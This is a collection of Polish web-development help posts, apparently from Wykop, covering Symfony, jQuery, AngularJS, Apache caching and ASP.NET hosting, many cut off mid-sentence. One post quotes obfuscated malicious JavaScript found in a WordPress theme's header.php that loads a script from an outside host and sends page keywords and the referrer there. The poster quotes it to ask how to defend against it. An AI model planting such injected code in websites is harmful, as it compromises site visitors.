Witajcie mirki.
Może ktoś mógłby zarzucić przykładem w jaki sposób zrobić "XLSPrinter."
Chodzi mi o to, że jest coś takiego jak "liuggio/excelbundle", które wykorzystuję do generowania plików xls. Jednak nie wiem czy to dobra praktyka za każdym razem w kontrollerze od nowa tworzyć plik xls, może lepiej byłoby stworzyć serwis, gdzie przekazywałbym:
1. Nagłówki tabelki
2. dane
3. typ pliku
4. Nazwa pliku
A otrzymywałbym gotowy plik .xls. Nie wiem czy dobrze
W jaki sposób są infekowane motywy Wordpressa?
W pliku header.php znalazłem takie coś:

var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="[http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()](http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}
Interesuje mnie w jaki sposób jest to tam jest umieszczane i jak się przed tym bronić.
Aha, strona nie jest moja. Po prostu interesuje mnie jak to działa :)

#php #webdev #webdevhelp #javascript #wordpress
@mariecziek: spotkałem się kiedyś z wirusem, który odczytywał zapisane hasła do FTP w total commanderze i filezilla i dopisywał złośliwy kod do wszystkich plików php/html na serwerze. Mimo, że pracownicy nigdy haseł jawnie nie trzymali, wystarczył jeden głupi freelancer, który trzymał hasła w filezilla i potem mieliśmy zainfekowanych kilkadziesiąt serwisów. Nie polecam ( ͡° ͜ʖ ͡°)
[ #naukaprogramowania #webdevhelp ]

W ramach nauki ES6 piszę prostego idle clickera.

W metodzie storeCoins w klasie Coins chcę przechowywać TYLKO liczbę coinsów, które będą dodawane przy kliknięciu w button (metoda addCoin) i rzeczy które będą w sklepie (patrz przykładowa metoda w klasie Shop) - over time, w pętli, ale to już sobie jakoś napiszę później sam to co jest w klasie Shop jest na razie tylko szkicem, żeby sprawdzić czy wszystko
#webdevhelp #naukaprogramowania

Macie jakieś sprawdzone źródła z których warto uczyć się ES6? Konfiguracja środowiska, Webpack, Babel i cała ta otoczka. Jak już znalazłem coś obiecującego to mi wyskakują na początku z klonowaniem repo, a chciałbym sobie to stopniowo poukładać w głowie. Z góry dziękuję za wszelkie linki i pomoc. :)
Witam mirków z #php i #symfony2 #symfony #webdev #webdevhelp
Mam w bazie danych tabelę user. Są już tam użytkownicy, teraz chcę dodać kolumnę slug, która musi być unikalna (będę tego używał do wyświetlania nazwy użytkownika w pasku adresu). W encji piszę takie coś:

/**
*
* @var string
*
* @Gedmo\Slug(fields={"name", "surname"}, updatable=true)
* @ORM\Column(name="slug", type="string", nullable=false, unique=true)
*/
protected $slug;

Kiedy jednak uruchamiam polecenie php app/console doctrine:schema:update
@mariecziek: chodziło mi o to, że generalnie na produkcji nie używa się raczej schema:update tylko właśnie migracji. Powinieneś przygotować migrację która utworzy kolumnę "slug" (nie unique), następnie ją uzupełni po czym ustawi odpowiedni indeks unikalny.
#webdevhelp #js Mircy, dodaję zdarzenie "onbeforeunload", działa wyłącznie na przeładowaniu strony i przejściu pomiędzy podstronami. Jak wywołać komunikat przed opuszczeniem bieżącej strony za pomocą przycisku przeglądarki "Powrót"?
Próbowałem również jQuery jednak efekt jest ten sam.

jQuery(window).bind('beforeunload', function(e) {
var message = "Why are you leaving?";
e.returnValue = message;
return message;
});
#webdevhelp #angularjs

Wybaczcie za spam, to już ostatni raz, obiecuje :P

Wczoraj w nocy miałem problem z wyświetleniem danych z jsona, udało się to rozwiązać. Dzisiaj mam kolejny problem, kurcze. Chcę móc operować na danych z pobranego jsona poza funkcją:

.then(function (res) {
vm.basics1Data = res.data;
});

Teraz są tylko widoczne wewnątrz tej funkcji. Próbowałem z return vm.basics1Data = res.data; ale to też nie zadziałało. W jsonie będzie tablica i chciałbym to
@PrawyKuba: tzn troszkę dziwnie, bo właściwie to możesz dać

.then(test);
function test(res){
vm.basics1Data = res.data;
vm.test = vm.basics1Data[0];
}
A tak w ogóle jeśli basics1Data ma być tylko pośrednim kontenerem to nie ma co do vm wpisywać, żeby nie mieszać zmiennych do view i "modelu"
Słuchajcie mirki z #webdev, próbuję napisać programik, który będzie udawał coś w stylu konta bankowego - wpłata wypłata i stan konta. Po kilku godzinach coś takiego mi się udało, po wpisaniu kwoty i nacisnięciu Confirm formularz odwoluje się do drugiego pliku connection.php, który wysyła dane do bazy, pobiera itp. Główny plik account.php też się odwołuje do connection.php, żeby wyświetlić stan konta. #pytanie #pytaniedoeksperta #php #webdevhelp #programowanie chyba (
#csharp #aspnet #webdevhelp

Uczę się sam programowania, zaczałem od C#, napisałem dość prostą aplikację w asp.net mvc 5 i chciałbym ją umieścić w internecie :) . I stąd pytanie:

1 Czy jedyną opcją na wrzucenie mojej aplikacji do internetu jest użycie platformy azure?

2 Jeśli tak, to czy jest jakaś możliwość żeby uzyskać adres www..pl (zamiast www..azurewebsites.net) ?
3 Jesli 1 tak 2 nie , to czy w takim razie jest jakiś
1 Czy jedyną opcją na wrzucenie mojej aplikacji do internetu jest użycie platformy azure?

@failed: nie, możesz mieć swój serwer - wymagany IIS

2 Jeśli tak, to czy jest jakaś możliwość żeby uzyskać adres www..pl (zamiast www..azurewebsites.net) ?

@failed: tak, jak wykupisz swoją domenę. w przypadku azure podpięcie swojej domeny chyba nie jest darmowe.

oczytaj jak działa hosting, czym jest serwer www, itd. bo chyba zabrałeś się za temat od
@PrawyKuba: To podziel to na 2 sekcje

1 - te 4 obrazki z lewej
2 - rząd po prawej

Oba na procentową szerokość i po kłopocie.
Później w 1wszym dajesz pierwszy i ostatni obrazek na 100% szerokości a te 2 mniejsze po 50%.
Wszystko na border-box'sie
Chciałam zrobić apkę frontendową w angularze (albo czymkolwiek innym na JS). Kupiłam bootstrapowy template. Zastanawiam się od której strony zacząć łączyć template z angularem ( ͡° ͜ʖ ͡°) W przypadku thymeleafa (upraszczając: działanie wygląda podobnie jak angular) brałam template, oddzielałam content od sidebarów/headerów i potem sobie wstawiałam te tagi thymleafowe do HTMLa. Jak to powinno się zrobić z apką w JS, podobnie? Czy może najpierw w yeomenie wygenerować
Mirki, mam taki mały problem, sam z Apache nie korzystam więc idzie mi to opornie.
Strona klienta stoi na Apache2. Wrzucaliśmy w odstępach czasu 2-3 wersje i wyglądało to tak jakby Apache cache'ował stronę i dopiero po czasie zmieniał - z tego co doszedłem to za zmianę odpowiada HTCACHECLEAN i tam ustawiamy czas co ile zmienia? Sporo informacji w necie albo nie ma albo jest bardzo stara, o samym Apache'u też wiele
@MrGreeneye: Hmm, to tylko tak parę pomysłów na szybko było. Też nie jestem mistrzem Apacza, ale może eskperymentalne zakomentowanie jakieś mod_cache (jeśli jest w confach) coś by zmieniło?
A z ciekawości może przeglądarka coś powie w nagłówkach o cache / expired / last / modified / etag itd?
Witajcie mirki.
Mam taką sytuację:
1. Mam stronkę z responsive design.
2. Kiedy przewijam do takiego widoku: http://i.share.pho.to/8c3c3cad_o.png i klikam w TEST3, to otwiera mi się to w taki sposób: http://i.share.pho.to/f7ebfceb_o.png a chciałbym, żeby zdjęcie i przycisk wyłączania nie chowały się za belkę u góry strony, tzn. żeby to wyglądało w taki sposób: http://i.share.pho.to/9cf315fc_o.png
3. Rozmawiałem z kolegą, który pisał CSS i powiedział, że samym CSSem tego nie da się uporządkować, a
#webdevhelp #jquery

Załóżmy, że mam zdarzenie

$('selektor').on('click', function() {
// tutaj togluje jakieś klasy po kliknięciu w selektor
});

W jaki sposób mogę wywołać callback, żeby obsłużyć drugie kliknięcie w ten sam selektor?

Czyli np.

//Przy pierwszym kliknięciu

$('button').on('click', function() {
$('div').css("display", "block");
});

//Przy drugim kliknięciu

$('button').on('click', function() {
$('div').css("display", "none");
});

Próbowałem tak:

$('button').on('click', function() {
$('div').css("display", "block");
}, function(){
$('div').css("display", "none");
);

Ale nie działa.
@Eggy: dziękuję bardzo. Trochę skomplikowane, sam bym na to nie wpadł chociaż próbowałem zagnieżdżać jakoś funkcję. Będę już wiedział na przyszłość. :)

Pomęczę Cię jeszcze trochę jeśli można ;). Nie to, że nie rozumiem tego co mi wysłałeś, ale jest możliwość napisania to jakoś łatwiej bez używania 'click'? Może opiszę szerzej co próbuję zrobić.

Klikam w przycisk i nadaje jakiemuś elementowi klasę np. "showfromtop".
Klikam drugi raz i i nadaje mu